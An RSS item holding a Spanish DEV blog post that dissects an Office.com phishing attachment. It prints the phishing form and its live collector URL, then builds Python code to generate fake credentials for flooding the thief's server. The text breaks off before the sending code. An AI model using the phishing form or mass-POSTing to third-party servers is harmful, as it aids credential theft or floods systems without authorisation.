<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rodrigo Leo</title>
    <description>The latest articles on DEV Community by Rodrigo Leo (@rleo).</description>
    <link>https://dev.to/rleo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F746591%2F369de546-8334-4f5f-8014-bb973fa418d6.jpeg</url>
      <title>DEV Community: Rodrigo Leo</title>
      <link>https://dev.to/rleo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rleo"/>
    <language>en</language>
    <item>
      <title>Respondiendo a un ladrón de contraseñas</title>
      <dc:creator>Rodrigo Leo</dc:creator>
      <pubDate>Sun, 21 Nov 2021 15:50:40 +0000</pubDate>
      <link>https://dev.to/rleo/respondiendo-a-un-ladron-de-contrasenas-2k2p</link>
      <guid>https://dev.to/rleo/respondiendo-a-un-ladron-de-contrasenas-2k2p</guid>
      <description>&lt;p&gt;&lt;strong&gt;Contenido&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;El engaño&lt;/li&gt;
&lt;li&gt;Construyendo perfiles inexistentes&lt;/li&gt;
&lt;li&gt;Enviando datos con &lt;code&gt;urllib&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Level up: enviando datos masivamente&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Importante:&lt;/strong&gt; unas palabras de advertencia&lt;/li&gt;
&lt;/ol&gt;




&lt;blockquote&gt;
&lt;p&gt;⚠️ IMPORTANTE&lt;/p&gt;

&lt;p&gt;Por favor considera que el propósito de este artículo es informativo, y tiene como objeto mostrar cómo hacer requests &lt;code&gt;POST&lt;/code&gt; en Python usando las librerías nativas. Conviene tener en cuenta un par de puntos importantes al manipular correos electrónicos fraudulentos y al interactuar con los servidores que están diseñados para recibir datos obtenidos de forma ilícita. Por favor lee la sección correspondiente al final del post.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Recibí hace poco un correo electrónico fraudulento que incluía un archivo adjunto que trataba de robar la contraseña de mi cuenta. Si bien los métodos para robar información de los usuarios evolucionan rápidamente, en este caso la idea del ladrón era muy básica: el archivo adjunto era un documento HTM(L) que imitaba casi perfectamente la página de inicio de sesión del correo de Office.com. Así (pensaba sin duda el ladrón) la víctima desprevenida está convencida de estar accediendo a su correo, cuando en realidad le ha regalado sus credenciales de acceso a un desconocido 😡.&lt;/p&gt;

&lt;p&gt;Para tratar de dificultarle el robo de contraseñas al ladrón que hay detrás de esto, escribí un script muy sencillo en Python que envía automática y masivamente direcciones de correo y contraseñas falsas a la URL del formulario del archivo adjunto, de forma que la base de datos del ladrón se llene de información de usuarios inexistentes, la cual es difícil de limpiar. En este artículo describo el correo electrónico fraudulento, su mecanismo de robo de información y el diseño del script, que usa únicamente librerías nativas de Python y un archivo con palabras en inglés descargado de internet.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. El engaño &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;El correo electrónico en cuestión simulaba ser del administrador de TI de la organización, y era así:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gYfCmy7H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i.imgur.com/l9utlEz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gYfCmy7H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i.imgur.com/l9utlEz.png" alt="Correo electrónico" width="880" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Basta ver la dirección del remitente para advertir que se trataba de un engaño. En general estos mensajes ni siquiera llegan a la bandeja de entrada porque el filtro de spam los detiene, pero este correo en particular se le escapó.&lt;/p&gt;

&lt;p&gt;Como se puede ver, el archivo adjunto era un documento &lt;code&gt;.htm&lt;/code&gt;. Lo guardé en el disco duro y lo abrí en un editor de texto plano, &lt;strong&gt;nunca hay que abrirlo directamente en el navegador porque no sabemos qué pueda tener&lt;/strong&gt;. En el editor pude ver que el archivo no incluía ningún script y que las referencias externas eran al sitio web de Microsoft, mientras que el cuerpo del documento únicamente contenía un formulario sencillo de login. El documento era seguro de abrir en el navegador:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FdQ6QN_1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i.imgur.com/gvzWSn7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FdQ6QN_1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i.imgur.com/gvzWSn7.png" alt="Login falso" width="880" height="576"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se puede ver que el diseño era prácticamente idéntico a la página de login de Office.com. Usando el inspector de Safari, noté que el campo de la contraseña se encuentra dentro de un formulario que, al enviarse, hace una petición &lt;code&gt;POST&lt;/code&gt; a la URL &lt;code&gt;https://level7advertising.com.au/ko/sss.php&lt;/code&gt;. Este es el script &lt;code&gt;PHP&lt;/code&gt; del ladrón, que sin duda registra la respuesta de la víctima y la guarda en una base de datos para que la pueda usar después.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Jsa9nS9I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i.imgur.com/hSlhPB8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Jsa9nS9I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i.imgur.com/hSlhPB8.png" alt="Código fuente del HTML adjunto" width="880" height="576"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Este es el código fuente del formulario en cuestión, que contenía toda la información para poder diseñar el contraataque:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://level7advertising.com.au/ko/sss.php"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://aadcdn.msftauth.net/ests/2.1/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"border: none;"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"fname"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Email Address"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"xxx@xxx.xxx"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Enter password&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"input_text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"link_section"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"link"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Forgot my password&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Continue&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lo relevante son los dos elementos &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; que contenía el formulario, pues éstos son los campos que se envían al servidor del ladrón:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Uno para el correo electrónico, que es de sólo lectura, con el nombre &lt;code&gt;username&lt;/code&gt;. El valor de este campo es el correo electrónico (el código mostrado dice "&lt;a href="mailto:xxx@xxx.xxx"&gt;xxx@xxx.xxx&lt;/a&gt;") para ocultar mi verdadera dirección).&lt;/li&gt;
&lt;li&gt;Uno para la contraseña, con el nombre &lt;code&gt;password&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Este era, en esencia, la lógica detrás de la idea del ladrón. Mi respuesta fue un script que hiciera lo siguiente:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generar una dirección de correo electrónico inexistente.&lt;/li&gt;
&lt;li&gt;Generar una contraseña falsa para esta dirección.&lt;/li&gt;
&lt;li&gt;Enviar esta información a la URL del script PHP del ladrón.&lt;/li&gt;
&lt;li&gt;¡Repetir!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Así, el primer paso consiste en construir una lista de direcciones de correo electrónico y contraseñas falsas para indundar con ellas la base de datos de nuestro atacante.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Construyendo perfiles inexistentes &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Las direcciones de correo electrónico que construí tienen el formato &lt;code&gt;&amp;lt;palabra&amp;gt;@&amp;lt;palabra&amp;gt;.&amp;lt;com/org/net&amp;gt;&lt;/code&gt;, y las contraseñas tienen el formato &lt;code&gt;&amp;lt;palabra&amp;gt;&amp;lt;número&amp;gt;&amp;lt;símbolo&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Evidentemente, lo primero que necesitamos es una lista de palabras. Descargué una (en inglés) de &lt;a href="https://github.com/dwyl/english-words"&gt;github.com/dwyl/english-words&lt;/a&gt; y la guardé en el mismo directorio del script de Python como &lt;code&gt;words_alpha.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A continuación, abrimos el archivo en Python y guardamos los contenidos en la lista &lt;code&gt;palabras_lista&lt;/code&gt; (no olvidemos cerrar el archivo una vez leído, es una buena práctica):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;palabras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"words_alpha.txt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"r"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;palabras_lista&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;palabras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;palabras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examinemos los primeros 10 registros:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'a&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aa&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aaa&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aah&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aahed&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aahing&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aahs&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aal&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aalii&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'aaliis&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notamos que las palabras incluyen al final un salto de línea, esto habrá que considerarlo más adelante. Ahora, definimos una lista con los dominios que usaremos en nuestras direcciones de correo electrónico:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;dominios&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"org"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"net"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora sí podemos construir una función que elija aleatoriamente las palabras para construir el correo electrónico y la contraseña. Para la elección aleatoria, usamos la función &lt;code&gt;choice&lt;/code&gt; de la librería nativa &lt;code&gt;random&lt;/code&gt; (&lt;a href="https://docs.python.org/3/library/random.html#random.choice"&gt;documentación aquí&lt;/a&gt;). Llamaremos a nuestra función &lt;code&gt;generar_perfil&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generar_perfil&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Generar dirección de correo:
&lt;/span&gt;    &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"@"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"."&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dominios&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Generar contraseña:
&lt;/span&gt;    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabras_lista&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"!#$&amp;amp;?"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;'mail'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Recordamos que las palabras incluyen al final un salto de línea, indicado por los caracteres &lt;code&gt;\n&lt;/code&gt;. Por eso hacemos un &lt;em&gt;string slicing&lt;/em&gt; en Python para obtener la palabra excepto los dos últimos caracteres: &lt;code&gt;choice(palabras_lista)[:-1]&lt;/code&gt; elige aleatoriamente una palabra de la lista &lt;code&gt;palabras_lista&lt;/code&gt; y devuelve todos sus caracteres excepto los últimos dos.&lt;/p&gt;

&lt;p&gt;Comprobamos si funciona invocando 10 veces a la función y viendo los correos y contraseñas que inventa:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;perfil&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generar_perfil&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;perfil&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'mail'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;"---"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;perfil&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;vegetocarbonaceous&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ruralization&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;crawfish84&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;unacquisitiveness&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;antalkali&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;velatura30&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ultrastylish&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;aerodyne&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;unshocked19&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;marines&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;bloodleaf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;vaguios56&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;oceanside&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;bromogelatin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;metabolizing43&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;peripolygonal&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;totting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;unassaying83&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;disquietingly&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;immaculateness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;knapsacked66&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;clubbers&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;heptahedral&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;libellant94&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;recept&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;unauthoritatively&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;dingey24&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;revoker&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;lacklustrous&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;tracheopathia74&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Evidentemente, el correo &lt;code&gt;vegetocarbonaceous@ruralization.com&lt;/code&gt; no suena muy auténtico, pero si hay muchos semejantes en una base de datos, es sumamente difícil automatizar un proceso que los detecte sin requerir entrenar un modelo de machine learning, por lo que sirven perfectamente para nuestro propósito.&lt;/p&gt;

&lt;p&gt;Con esto ya tenemos una función capaz de generar direcciones de correo electrónico y contraseñas con formatos válidos, no tan fáciles de detectar como falsas. El siguiente paso es construir el mecanismo para enviar estos datos al servidor del ladrón de contraseñas.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Enviando datos con &lt;code&gt;urllib&lt;/code&gt; &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Existen libererías de alto nivel (es decir, más "humanas") para trabajar con peticiones HTTP (por ejemplo, &lt;code&gt;requests&lt;/code&gt; - &lt;a href="https://docs.python-requests.org/en/latest/"&gt;conoce más aquí&lt;/a&gt;). Sin embargo, como queremos emplear sólo los módulos nativos de Python, usaremos la librería &lt;code&gt;urllib&lt;/code&gt; para hacer peticiones al servidor del atacante.&lt;/p&gt;

